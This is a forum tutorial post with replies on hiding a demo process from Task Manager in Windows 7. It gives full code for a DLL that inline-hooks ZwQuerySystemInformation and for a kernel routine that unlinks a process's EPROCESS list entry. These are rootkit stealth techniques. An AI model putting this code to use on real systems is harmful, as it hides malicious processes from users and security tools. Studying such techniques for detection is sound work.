首页
论坛
课程
招聘
[原创]进程隐藏技术
2021-10-22 16:40 20418

[原创]进程隐藏技术

2021-10-22 16:40
20418

一.前言

本次实现是在WIN7 X86系统上进行,实验要达到的目的就是实现进程的隐藏,以让任务管理器查不到要隐藏的进程。这里要隐藏的程序是一个简单的HelloWord弹窗程序,程序名是demo.exe。

二.用户层的进程隐藏技术

1.实现原理

用户层的进程隐藏的实现主要是通过HOOK任务管理器的ZwQuerySystemInformation函数。之所以是这个函数,是因为无论是通过EnumProcess函数还是CreateToolhelp32Snapshot函数来查询进程,它们最终都会调用ntdll.dll中的ZwQuerySystemInformation函数来实现功能。

所以只要采用DLL注入技术,将DLL注入到要HOOK的进程中,并在DLL加载的时候执行HOOK ZwQuerySystemInformation函数就可以实现进程隐藏。关于如何实现DLL注入请参考这篇常见的几种DLL注入技术。而对ZwQuerySystemInformation的HOOK采取的是Inline Hook的技术。如何实现Inline Hook请参考这篇内核层的三种HOOK技术

在IDA中可以看到ZwQuerySystemInformation的实现如下。由于它最开始的五个字节是为eax赋值调用号,所以其实可以根据热补丁的思想,对这五个字节进行HOOK。然后在HOOK完要执行的函数里面对eax进行重新赋值以后在跳转到下一行代码也就是mov edx, 0x7FFE0300进行执行。

由于之前写过热补丁技术,这里的话就用传统的HOOK步骤。

  1. 使用GetProcAddress函数获取要HOOK的函数的地址,并将其保存

  2. 修改前五字节的页属性为可读可写可执行

  3. 将这五个字节读出来备份起来

  4. 计算从需要跳转的大小,公式是: 要跳转的目的地址-(HOOK的函数的地址 + 5)

  5. 将计算好距离的跳转指令写入函数的这五个字节

  6. 还原页属性

UnHook则非常简单

  1. 判断函数是否被HOOK

  2. 修改函数地址页属性为可读可写可执行

  3. HOOK的时候保存的五个字节写回到函数地址

  4. 恢复函数地址页属性

在完成HOOK以后执行的函数内部就需要以下的步骤来让程序正常运行

  1. 首先调用UnHook将函数恢复

  2. 调用原函数获取返回结果,将要隐藏的进程隐藏掉

  3. 再次对程序进行HOOK操作

至于要如何将进程隐藏起来,就需要首先看看ZwQuerySystemInformation在文档中的定义了

NTSTATUS WINAPI ZwQuerySystemInformation(
  __in       SYSTEM_INFORMATION_CLASS SystemInformationClass,
  __inout    PVOID SystemInformation,
  __in       ULONG SystemInformationLength,
  __out_opt  PULONG ReturnLength);
参数说明
SystemInformationClass要检索的类型。是一个SYSTEM_INFORMATION_CLASS的联合体
SystemInformation指向缓冲区的指针,用于接收请求信息。该信息的大小和结构取决于SystemInformationClass
SystemInformationLengthSystemInformation参数指向的缓冲区的大小
ReturnLength一个可选指针,指向函数写入请求信息的实际大小的位置

 而SYSTEM_INFORMATION_CLASS,在文档中的定义如下

typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemBasicInformation = 0,
    SystemPerformanceInformation = 2,
    SystemTimeOfDayInformation = 3,
    SystemProcessInformation = 5,
    SystemProcessorPerformanceInformation = 8,
    SystemInterruptInformation = 23,
    SystemExceptionInformation = 33,
    SystemRegistryQuotaInformation = 37,
    SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;

当它指定为SystemProcessInformation(0x5)的时候,就表示要检索系统的进程信息。函数将会得到所有的进程信息并把这些得到的进程信息的内容保存到SYSTEM_PROCESS_INFORMATION结构数组,数组中的每一个元素都代表了一个进程信息。而数组的首地址将会保存到第二个参数SystemInformation中。

而SYSTEM_PROCESS_INFORMATION在文档中的定义如下

typedef struct _SYSTEM_PROCESS_INFORMATION {
    ULONG NextEntryOffset;
    BYTE Reserved1[52];
    PVOID Reserved2[3];
    HANDLE UniqueProcessId;
    PVOID Reserved3;
    ULONG HandleCount;
    BYTE Reserved4[4];
    PVOID Reserved5[11];
    SIZE_T PeakPagefileUsage;
    SIZE_T PrivatePageCount;
    LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;

其中的NextEntryOffset代表的是下一个SYSTEM_PROCESS_INFORMATION元素距离现在这个SYSTEM_PROCESS_INFORMATION元数的偏移。

而UniqueProcessId就是查询到的这个进程的PID。根据它就可以找到要隐藏的进程,并将它从这个结构体数组中断开,也就是要隐藏进程的SYSTEM_PROCESS_INFORMATION的上一个元数的NextEntryOffset加上当前SYSTEM_PROCESS_INFORMATION的NextEntryOffset。具体代码实现如下

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include <Windows.h>
#include <winternl.h>
#include <cstdio>
#include <TlHelp32.h>

#define HIDE_PROCESS_NAME "demo.exe"	//要隐藏的进程名

typedef
NTSTATUS
(WINAPI* pfnZwQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass,
								      PVOID SystemInformation,
									  ULONG SystemInformationLength,
									  PULONG ReturnLength);


//HOOK以后要执行的函数
NTSTATUS WINAPI MyZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass,
							               PVOID SystemInformation,
										   ULONG SystemInformationLength,
										   PULONG ReturnLength);
BOOL Hook();
BOOL UnHook();
VOID ShowError(PCHAR msg);
DWORD WINAPI ThreadProc(LPVOID lpParameter);
DWORD GetPid(PCHAR pProName);	//根据进程名获取要隐藏的进程的PID

DWORD g_dwOrgAddr = 0;	//原函数地址
CHAR g_szOrgBytes[5] = { 0 };	//保存函数的前五个字节
DWORD g_dwHidePID = 0;	//要隐藏的进程的PID

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
		case DLL_PROCESS_ATTACH:
		{
			HANDLE hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
			if (hThread) CloseHandle(hThread);
			break;
		}
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
			break;
    }
    return TRUE;
}

BOOL Hook()
{
	BOOL bRet = TRUE;
	HMODULE hNtDll = NULL;
	pfnZwQuerySystemInformation ZwQuerySystemInformation = NULL;
	BYTE szShellCode[5] = { 0xE9, 0, 0, 0, 0 };	//写入跳转指令的五字节
	DWORD dwOldProtect = 0;	//保存原来的页属性

	hNtDll = LoadLibrary("ntdll.dll");
	if (hNtDll == NULL)
	{
		ShowError("LoadLibrary");
		bRet = FALSE;
		goto exit;
	}

	//获取函数地址
	ZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hNtDll, "ZwQuerySystemInformation");
	if (ZwQuerySystemInformation == NULL)
	{
		ShowError("GetProcAddress");
		bRet = FALSE;
		goto exit;
	}

	//保存HOOK函数的地址
	g_dwOrgAddr = (DWORD)ZwQuerySystemInformation;

	//修改页属性是可读可写可执行
	if (!VirtualProtect(ZwQuerySystemInformation, sizeof(szShellCode), PAGE_EXECUTE_READWRITE, &dwOldProtect))
	{
		ShowError("VirtualProtect");
		bRet = FALSE;
		goto exit;
	}

	//将原来的五个字节内容保存
	if (!ReadProcessMemory(GetCurrentProcess(), ZwQuerySystemInformation, g_szOrgBytes, sizeof(g_szOrgBytes), NULL))
	{
		ShowError("ReadProcessMemory");
		bRet = FALSE;
		goto exit;
	}

	//计算要跳转的长度
	*(PDWORD)(szShellCode + 1) = (DWORD)MyZwQuerySystemInformation - ((DWORD)ZwQuerySystemInformation + 5);
	//将shellcode写入
	if (!WriteProcessMemory(GetCurrentProcess(), ZwQuerySystemInformation, szShellCode, sizeof(szShellCode), NULL))
	{
		ShowError("WriteProcessMemory");
		bRet = FALSE;
		goto exit;
	}

	//还原页属性
	if (!VirtualProtect(ZwQuerySystemInformation, sizeof(szShellCode), dwOldProtect, &dwOldProtect))
	{
		ShowError("VirtualProtect");
		bRet = FALSE;
		goto exit;
	}
exit:
	return bRet;
}

BOOL UnHook()
{
	BOOL bRet = TRUE;
	DWORD dwOldProtect = 0;	//保存页属性

	if (g_dwOrgAddr == 0)
	{
		MessageBox(NULL, TEXT("函数还未HOOK"), TEXT("Error"), MB_OK);
		bRet = FALSE;
		goto exit;
	}

	//修改页属性为可读可写可执行
	if (!VirtualProtect((PVOID)g_dwOrgAddr, sizeof(g_szOrgBytes), PAGE_EXECUTE_READWRITE, &dwOldProtect))
	{
		ShowError("VirtualProtect");
		bRet = FALSE;
		goto exit;
	}

	//将函数中原来的内容恢复回去
	if (!WriteProcessMemory(GetCurrentProcess(), (PVOID)g_dwOrgAddr, g_szOrgBytes, sizeof(g_szOrgBytes), NULL))
	{
		ShowError("WriteProcessMemory");
		bRet = FALSE;
		goto exit;
	}

	//将页属性恢复
	if (!VirtualProtect((PVOID)g_dwOrgAddr, sizeof(g_szOrgBytes), dwOldProtect, &dwOldProtect))
	{
		ShowError("VirtualProtect");
		bRet = FALSE;
		goto exit;
	}

	g_dwOrgAddr = 0;
	memset(g_szOrgBytes, 0, sizeof(g_szOrgBytes));
exit:
	return bRet;
}


NTSTATUS WINAPI MyZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass,
											PVOID SystemInformation,
											ULONG SystemInformationLength,
											PULONG ReturnLength)
{
	NTSTATUS status = 0;
	PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL;
	DWORD dwOrgFuncAddr = 0;
	

	//获取函数地址
	dwOrgFuncAddr = g_dwOrgAddr;

	//卸载HOOK
	if (!UnHook())
	{
		MessageBox(NULL, TEXT("UnHook失败"), TEXT("Error"), MB_OK);
		goto exit;
	}

	status = ((pfnZwQuerySystemInformation)dwOrgFuncAddr)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
	
	//判断函数是否调用成功,以及是否是查询进程的操作
	if (NT_SUCCESS(status) && SystemInformationClass == SystemProcessInformation)
	{
		pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
		while (TRUE)
		{
			//判断是否是要隐藏的进程
			if (g_dwHidePID == (DWORD)pCur->UniqueProcessId)
			{
				//将进程隐藏起来
				if (pPrev == NULL)	SystemInformation = (PBYTE)pCur + pCur->NextEntryOffset;
				else if (pCur->NextEntryOffset == 0)	pPrev->NextEntryOffset = 0;
				else pPrev->NextEntryOffset += pCur->NextEntryOffset;
				break;
			}
			else pPrev = pCur;

			//如果没有下一个成功则退出	
			if (pCur->NextEntryOffset == 0) break;
		
			//将指针指向下一个成员
			pCur = (PSYSTEM_PROCESS_INFORMATION)((PBYTE)pCur + pCur->NextEntryOffset);
		}
	}
	//重新HOOK
	if (!Hook()) MessageBox(NULL, TEXT("Hook失败"), TEXT("Error"), MB_OK);
exit:
	return status;
}

DWORD WINAPI ThreadProc(LPVOID lpParameter)
{
	g_dwHidePID = GetPid(HIDE_PROCESS_NAME);

	if (g_dwHidePID == 0)
	{
		MessageBox(NULL, TEXT("没有找到要隐藏的进程"), TEXT("Error"), MB_OK);
	}
	else
	{
		if (!Hook())
		{
			MessageBox(NULL, TEXT("Hook 失败"), TEXT("Error"), MB_OK);
		}
		else MessageBox(NULL, TEXT("Hook成功"), TEXT("Success"), MB_OK);
	}


	return 0;
}

DWORD GetPid(PCHAR pProName)
{
	PROCESSENTRY32 pe32 = { 0 };
	HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	BOOL bRet = FALSE;

	if (hSnap == INVALID_HANDLE_VALUE)
	{
		printf("CreateToolhelp32Snapshot process %d\n", GetLastError());
		return 0;
	}

	pe32.dwSize = sizeof(pe32);
	bRet = Process32First(hSnap, &pe32);
	while (bRet)
	{
		if (lstrcmp(pe32.szExeFile, pProName) == 0)
		{
			return pe32.th32ProcessID;
		}
		bRet = Process32Next(hSnap, &pe32);
	}

	CloseHandle(hSnap);

	return 0;
}

VOID ShowError(PCHAR msg)
{
	CHAR szError[105] = { 0 };

	sprintf(szError, "%s Error %d", msg, GetLastError());
	MessageBox(NULL, szError, TEXT("Error"), MB_OK);
}

2.运行结果

在实现注入HOOK函数之前可以看到任务管理器可以查看到打开的demo.exe进程

完成注入,HOOK成功之后就看不到了

三.内核层的进程隐藏技术

1.实现原理

在内核中每一个进程都有对应的一个EPROCESS结构体,在Windows7下这个结构体中的部分成员如下,其中0x16C保存了进程名字的指针。通过这个指针可以获得当前EPROCESS表示的是哪一个进程

3: kd> dt _EPROCESS
nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x098 ProcessLock      : _EX_PUSH_LOCK
   +0x0a0 CreateTime       : _LARGE_INTEGER
   +0x0a8 ExitTime         : _LARGE_INTEGER
   +0x0b0 RundownProtect   : _EX_RUNDOWN_REF
   +0x0b4 UniqueProcessId  : Ptr32 Void
   +0x0b8 ActiveProcessLinks : _LIST_ENTRY    //进程链表
   +0x0c0 ProcessQuotaUsage : [2] Uint4B
   +0x0c8 ProcessQuotaPeak : [2] Uint4B
   +0x0d0 CommitCharge     : Uint4B
   +0x0d4 QuotaBlock       : Ptr32 _EPROCESS_QUOTA_BLOCK
   +0x0d8 CpuQuotaBlock    : Ptr32 _PS_CPU_QUOTA_BLOCK
   +0x0dc PeakVirtualSize  : Uint4B
   +0x0e0 VirtualSize      : Uint4B
   +0x0e4 SessionProcessLinks : _LIST_ENTRY
   +0x0ec DebugPort        : Ptr32 Void
   +0x0f0 ExceptionPortData : Ptr32 Void
   +0x0f0 ExceptionPortValue : Uint4B
   +0x0f0 ExceptionPortState : Pos 0, 3 Bits
   +0x0f4 ObjectTable      : Ptr32 _HANDLE_TABLE
   +0x0f8 Token            : _EX_FAST_REF
   +0x0fc WorkingSetPage   : Uint4B
   +0x100 AddressCreationLock : _EX_PUSH_LOCK
   +0x104 RotateInProgress : Ptr32 _ETHREAD
   +0x108 ForkInProgress   : Ptr32 _ETHREAD
   +0x10c HardwareTrigger  : Uint4B
   +0x110 PhysicalVadRoot  : Ptr32 _MM_AVL_TABLE
   +0x114 CloneRoot        : Ptr32 Void
   +0x118 NumberOfPrivatePages : Uint4B
   +0x11c NumberOfLockedPages : Uint4B
   +0x120 Win32Process     : Ptr32 Void
   +0x124 Job              : Ptr32 _EJOB
   +0x128 SectionObject    : Ptr32 Void
   +0x12c SectionBaseAddress : Ptr32 Void
   +0x130 Cookie           : Uint4B
   +0x134 Spare8           : Uint4B
   +0x138 WorkingSetWatch  : Ptr32 _PAGEFAULT_HISTORY
   +0x13c Win32WindowStation : Ptr32 Void
   +0x140 InheritedFromUniqueProcessId : Ptr32 Void
   +0x144 LdtInformation   : Ptr32 Void
   +0x148 VdmObjects       : Ptr32 Void
   +0x14c ConsoleHostProcess : Uint4B
   +0x150 DeviceMap        : Ptr32 Void
   +0x154 EtwDataSource    : Ptr32 Void
   +0x158 FreeTebHint      : Ptr32 Void
   +0x160 PageDirectoryPte : _HARDWARE_PTE
   +0x160 Filler           : Uint8B
   +0x168 Session          : Ptr32 Void
   +0x16c ImageFileName    : [15] UChar    //指向进程的名称
   +0x17b PriorityClass    : UChar
   +0x17c JobLinks         : _LIST_ENTRY
   +0x184 LockedPagesList  : Ptr32 Void
   +0x188 ThreadListHead   : _LIST_ENTRY

其中偏移0xB8的ActiveProcesssLinks是一个LIST_ENTRY的链表,它在文档中的定义如下

typedef struct _LIST_ENTRY {
   struct _LIST_ENTRY *Flink;    //指向下一个EPROCESS的ActiveProcessLinks
   struct _LIST_ENTRY *Blink;    //指向上一个EPROCESS的ActiveProcessLinks
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;

这是一个双向链表,通过这个链表就可以遍历系统中的所有进程。而用户层通过API查看进程的时候,就是通过这个链表来查找进程的内容。所以只要在内核中将相应进程从这个链表中断链就可以实现进程隐藏。但是要注意这个链表的中的成员指向的是另一个EPROCESS的ActiveProcessLinks,如下图所示。所以要获得这个进程的EPROCESS还需要减去0xB8。

具体实现的代码如下

VOID HideProcess()
{
	PEPROCESS pCurPro = NULL, pPrevPro = NULL;
	PCHAR pImageFileName = NULL;
	PLIST_ENTRY pListEntry = NULL;

	//获取当前进程的EPROCESS
	pCurPro = PsGetCurrentProcess();
	pPrevPro = pCurPro;
	do 
	{
		//获取EPROCESS的进程名
		pImageFileName = (PCHAR)pCurPro + 0x16C;
		//是否是要隐藏的进程
		if (strcmp(pImageFileName, "demo.exe") == 0)
		{
			//对进程进行断链操作
			pListEntry = (PLIST_ENTRY)((ULONG)pCurPro + 0xB8);
			pListEntry->Blink->Flink = pListEntry->Flink;
			pListEntry->Flink->Blink = pListEntry->Blink;
			DbgPrint("进程%s隐藏成功\r\n", pImageFileName);
		}
		pCurPro = (PEPROCESS)(*(PULONG)((ULONG)pCurPro + 0xB8) - 0xB8);
	} while (pCurPro != pPrevPro);
}

2.运行结果

驱动加载前可以看到任务管理器可以正常查到运行的demo.exe进程

而当驱动启动,执行了隐藏进程代码以后,在任务管理器中就看不到demo.exe了


[注意] 欢迎加入看雪团队!base上海,招聘CTF安全工程师,将兴趣和工作融合在一起!看雪20年安全圈的口碑,助你快速成长!

最后于 6天前 被1900编辑 ,原因:
收藏
点赞3
打赏
分享
最新回复 (14)
雪    币: 109
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
QZ2019 活跃值 2021-10-24 14:18
2
0
这么好的帖子
雪    币: 1181
活跃值: 活跃值 (319)
能力值: ( LV3,RANK:34 )
在线值:
发帖
回帖
粉丝
airshelf 活跃值 2021-10-25 16:56
3
0
内核层那个,通过遍历全局句柄表还是能查出来你这个隐藏的,,要是给句柄表也做个伪装就更好了,嘿嘿
雪    币: 2487
活跃值: 活跃值 (894)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
木志本柯 活跃值 2021-10-25 22:47
4
0
内核通过句柄是去拿EPROCESS 那么通过其他方法获得EPROCESS还是一样可以获取到 
雪    币: 3788
活跃值: 活跃值 (5522)
能力值: ( LV10,RANK:160 )
在线值:
发帖
回帖
粉丝
1900 活跃值 2021-10-25 23:11
5
0
只是相对而言 想要找到当然是有办法的
雪    币: 219
活跃值: 活跃值 (104)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
shun其自然 活跃值 2021-10-26 04:31
6
0
内核层WIN7-WIN10通用吗,会触发PG不
雪    币: 3788
活跃值: 活跃值 (5522)
能力值: ( LV10,RANK:160 )
在线值:
发帖
回帖
粉丝
1900 活跃值 2021-10-26 09:01
7
0
shun其自然 内核层WIN7-WIN10通用吗,会触发PG不
你可以试一下
雪    币: 219
活跃值: 活跃值 (104)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
shun其自然 活跃值 2021-10-26 10:22
8
0
不用想肯定触发PG
雪    币: 808
活跃值: 活跃值 (1079)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
凌哥 活跃值 2021-11-2 17:49
9
0
可以可以,学到了
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
b4sd 活跃值 2021-11-2 22:48
10
0
太干了,够我啃了.感谢
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
来自星星的米 活跃值 2021-11-8 11:18
11
0
WIN7 WIN10 X64测试蓝屏  蓝屏代码是pListEntry->Blink->Flink = pListEntry->Flink; 
WIN7偏移是 0XE0  WIN10偏移是+0x350 ProcessListEntry : _LIST_ENTRY
雪    币: 3788
活跃值: 活跃值 (5522)
能力值: ( LV10,RANK:160 )
在线值:
发帖
回帖
粉丝
1900 活跃值 2021-11-8 15:32
12
0
来自星星的米 WIN7 WIN10 X64测试蓝屏 蓝屏代码是pListEntry->Blink->Flink = pListEntry->Flink; WIN7偏移是 0XE0 WIN1 ...
够认真,可以
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_kejxxtnj 活跃值 2021-11-11 11:12
13
0
有一个项目可以找你做吗 可以的话加一下Q 1918354139
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
来自星星的米 活跃值 2021-11-12 15:37
14
0
1900 够认真,可以
那天搞错了,哈哈!偏移弄错了,不过确实也触发了PG 。 感谢你的好文
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
大魔法狮子 活跃值 2021-11-25 21:50
15
0
蓝屏警告,不考虑蓝屏其实不用这么保守了。直接替换啊,甚至删除都可以的,当然结束时蓝屏
游客
登录 | 注册 方可回帖
返回